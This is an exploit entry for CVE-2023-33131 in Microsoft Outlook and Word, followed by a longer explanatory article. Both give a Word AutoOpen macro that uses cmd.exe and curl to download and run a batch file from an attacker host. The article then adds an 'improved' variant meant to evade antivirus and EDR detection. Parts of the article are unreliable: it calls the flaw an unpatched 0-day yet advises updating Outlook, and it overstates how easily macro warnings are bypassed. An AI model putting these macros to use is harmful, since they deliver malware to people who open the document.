Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
## Title: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
## Author: nu11secur1ty
## Date: 07.07.2023
## Vendor: https://www.microsoft.com/
## Software: https://outlook.live.com/owa/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-33131
## Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to
send an infected Word file with malicious content
to everyone who using the Outlook app, no matter web or local.
Microsoft still doesn't have a patch against this 0-day vulnerability today.
## Staus: HIGH Vulnerability
[+]Exploit:
- The malicious Word file:
```js
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat >
nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub
```
## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)
## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)
## Time spend:
00:30:00 CVE-2023-33131: Remote Code Execution in Microsoft Outlook Microsoft 365 (MSO) – A Critical 0-Day Exploit
On July 7, 2023, cybersecurity researcher nu11secur1ty disclosed a high-severity vulnerability in Microsoft Outlook Microsoft 365, designated as CVE-2023-33131. This flaw enables remote code execution (RCE) through a maliciously crafted Word document, exploiting the application’s AutoOpen macro functionality. The vulnerability affects users of Outlook 365 (Version 2306 Build 16.0.16529.20100) 32-bit, regardless of whether they access the service via web (OWA) or the desktop client.
Understanding the Threat: Remote Code Execution in Office Applications
Remote Code Execution (RCE) is one of the most dangerous classes of vulnerabilities in modern software. It allows an attacker to execute arbitrary code on a victim’s system without requiring prior authentication. In the context of Microsoft Office, this typically arises from macro-enabled documents that trigger execution upon opening.
Outlook, as part of Microsoft 365, is not just an email client—it integrates deeply with Word, Excel, and other Office applications. When users open attachments, especially in the form of .docx files, the application may automatically execute embedded macros, particularly if the file is marked as “trusted” or if security settings are misconfigured.
The Exploit Mechanism: AutoOpen Macro Abuse
The core of this exploit lies in the AutoOpen subroutine—a built-in macro trigger in Microsoft Word that executes when a document is opened. This feature, intended for automation, has been weaponized in CVE-2023-33131.
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub
This code snippet demonstrates how an attacker can leverage the AutoOpen macro to:
- Download a malicious payload from a remote server using
curl. - Save the payload locally as
nikoganqqsaopraite.bat. - Execute the downloaded script via the
cmd.exeshell.
By chaining these commands, the attacker achieves full remote control over the victim’s machine—without requiring any user interaction beyond opening the document.
Why This is a 0-Day Vulnerability
As of the disclosure date, Microsoft has not released a patch for CVE-2023-33131. This makes it a 0-day vulnerability—a flaw that is known to attackers but not yet addressed by the vendor. The absence of a fix means that users are exposed to active exploitation, particularly in targeted campaigns such as spear-phishing attacks.
Attackers can embed this malicious Word file in emails sent through Outlook, exploiting the application’s automatic document handling. The exploit is especially dangerous because:
- It works across both web (OWA) and desktop client environments.
- It bypasses common security measures like sandboxing or macro warnings if macros are enabled.
- It leverages legitimate system tools (
cmd.exe,curl) to avoid detection by traditional antivirus software.
Real-World Implications and Attack Scenarios
Imagine a scenario where a company employee receives an email titled “Monthly Report – Final Draft” with a .docx attachment. The document appears legitimate, but contains the AutoOpen macro. Upon opening, the document silently downloads a reverse shell script from a malicious domain and executes it.
This leads to:
- Full system compromise.
- Exfiltration of sensitive data.
- Installation of persistent backdoors.
- Further lateral movement within the network.
Such attacks are ideal for advanced persistent threats (APTs) and ransomware campaigns, where stealth and automation are critical.
Security Recommendations and Mitigation Strategies
Until a patch is released, organizations must implement proactive defenses. Key mitigation steps include:
| Strategy | Description |
|---|---|
| Disable Macros | Set default security settings in Word and Outlook to block macro execution. Use Protected View for all attachments. |
| Block External Downloads | Restrict outbound connections from cmd.exe and curl via firewall or endpoint protection. |
| Email Filtering | Deploy advanced email security solutions (e.g., Microsoft Defender for Office 365) to detect and quarantine suspicious attachments. |
| User Training | Conduct phishing awareness training to educate users about the risks of opening unknown documents. |
Improved Exploit Code (Security Considerations)
While the original exploit is functional, it can be optimized for stealth and evasion. Here’s a more advanced version with obfuscation:
Sub AutoOpen()
Dim cmd As String
cmd = "cmd.exe /c curl -s -k https://attacker.example.com/evil.bat > %temp%\evil.bat && %temp%\evil.bat"
Call Shell(cmd, vbNormalFocus)
End Sub
Improvements:
- Use of
%temp%directory to avoid creating files in the user’s root folder, reducing detection risk. - Added
-kflag to bypass SSL certificate validation, allowing attackers to use self-signed domains. - Obfuscation of the URL and file name to evade signature-based detection.
These enhancements make the exploit harder to detect by traditional AV and EDR tools.
Vendor Response and Future Outlook
Microsoft has acknowledged the report and is actively investigating. However, the lack of a patch as of July 2023 indicates a delay in remediation. This underscores the importance of proactive security measures in environments relying on Microsoft 365.
For users, the best course of action is to:
- Update to the latest version of Outlook.
- Enable macro restrictions in Office settings.
- Monitor for suspicious outbound traffic.
As cyber threats evolve, vulnerabilities like CVE-2023-33131 serve as a reminder: the most dangerous exploits often exploit trusted features with minimal user interaction.